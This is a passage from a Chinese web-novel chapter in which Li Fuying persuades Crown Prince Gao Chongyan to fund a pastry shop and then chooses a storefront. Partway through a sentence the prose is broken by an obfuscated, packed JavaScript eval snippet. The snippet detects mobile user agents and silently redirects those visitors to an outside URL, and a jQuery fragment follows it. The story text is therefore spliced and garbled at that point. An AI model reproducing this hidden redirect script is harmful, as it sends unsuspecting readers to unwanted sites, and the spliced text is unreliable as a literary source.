李扶楹超级开心,抱住高崇宴“吧唧”一下就亲了高崇宴的脸,“殿下你真好!我永远喜欢殿下!” 高崇宴已读不回。 李扶楹又“吧唧”亲了高崇宴一下,嘿嘿,她的糕点铺子到手了。 高崇宴:“现在可以老实一会儿了吗?” 李扶楹立刻化身乖巧小甜心,“可以哒!” 高崇宴又重新闭上眼睛。 李扶楹也躺下,还乖乖地把被子拉过来给她自己盖好。 高崇宴没来由又想起李扶楹送给他的那包甜瓜子,又睁开眼睛偏头看向李扶楹,“所以,你让宫人给孤送的那包瓜子,是想让孤同意你开个糕点铺子?” 李扶楹是不会承认的,“没有没有,我就是想请殿下吃瓜子,那家茶楼的瓜子可好吃了,我是特意买给殿下的。” 高崇宴才不信。 李扶楹又“吧唧”亲了高崇宴一口,“真的。” 高崇宴:“……” “睡觉吧。” 李扶楹甜甜哦,然后乖巧闭上眼睛。 李扶楹美滋滋睡了一个好觉,次日一大早便带着阿福开开心心去了东大街选店铺。李扶楹在东大街选了一家面积不算很大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377190|197897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的铺子,但因为是处在繁华的市中心,所以铺子的价格很贵,足足花了八百两白银。 李扶楹算了算店铺加上装修的费用,九百两打不住,得往一千两上面跑。 李扶楹心里没底,但阿福说没关系。 一千两白银放在民间是好大一笔钱,但放在东宫算什么啊?还不够太子殿下一个月俸禄的零头。 主仆二人风风火火忙活儿了一上午,眼看就要到了饭点。李扶楹原本想带着阿福在外面吃,但她现在花钱如流水,而且都是花的高崇宴的钱,还是不能太过分了,所以,李扶楹又带着阿福回了宫里,准备在宫里吃不花钱的饭,顺便也给高崇宴报一下账。 虽说高崇宴并没有要求李扶楹给他报账,但李扶楹可老实了,平日里小打小闹花点钱买吃的喝的也就算了,但现在是上千两的花,李扶楹觉得还是得给高崇宴说一声。 李扶楹拉着阿福又屁颠屁颠坐进马车,然后吩咐驾驶马车的宫人,“回宫吧。” 宫人称是,随即调转车头往皇宫的方向行去。 高崇宴这会儿已经在寝宫里面坐着了,李扶楹不在,寝宫里面安静多了。 虽然李扶楹可可爱爱的,但那张小嘴巴一“巴拉”起来,有的时候真的很让高崇宴头大。高崇宴是从小接受板板正正规矩教育的人,活到现在,第一次遇见李扶楹这样活泼开朗的性子,就……偶尔有些招架不住。 高崇宴喝了口茶,享受着难得清净的时光,不过他并没有享受很久,手里的茶才喝了两口,门外忽然传来一阵欢快地脚步声,“殿下!我回来啦!!!” 高崇宴:“……” 李扶楹大包小包地拎着东西往寝宫里面走,阿福也是。 高崇宴下意识环顾四周一圈。 寝宫都已经装修成这样了,还买这么多大包小包的想做什么? 李扶楹欢快地拎着大包小包跑进屋里,大包放地下,小包放桌子上。 高崇宴微不可查把脚从大包下面抽出来,他很想提醒李扶楹,下次放东西的时候能不能先避开他的脚,但李扶楹并没有给他说话的机会。 李扶楹眉眼弯弯,“殿下,我买了好多抱枕哦!都是给咱们的铺子特别定制的!你看看好看吗?” 高崇宴不想看。 李扶楹拿了个桃花酥抱枕直接塞进高崇宴的手里,“殿下你看!” 高崇宴:“……” 李扶楹喜滋滋的,“这是样品,我定了十个呢!” 高崇宴“被迫”看了眼那个桃花酥抱枕,跟寝宫里面摆着的那些大白菜抱枕异曲同工。高崇宴无声叹了口气,然后将抱枕放到一边,“孤不是给你钱了,既然这么忙,怎么没在外面用膳。” 李扶楹一脸理所当然,“当然是因为要给殿下省钱呀,殿下的钱也不是大风刮来的,我想着还是能省则省。” 李扶楹说着,开心吩咐宫女,“传膳吧。” 宫女笑着称是。 李扶楹随即拉着高崇宴的手往水房的方向走去,“走走走,我们先去洗手吃饭。” 高崇宴:“……” 李扶楹一边走又一边道:“殿下,我已经想好啦,我们的糕点铺子就叫如意小铺,寓意万事如意!殿下,你有空的话,能不能帮我写个牌匾呀?” 高崇宴想说没空,但下一秒李扶楹那双大大地眼睛看过来。 高崇宴:“……可。”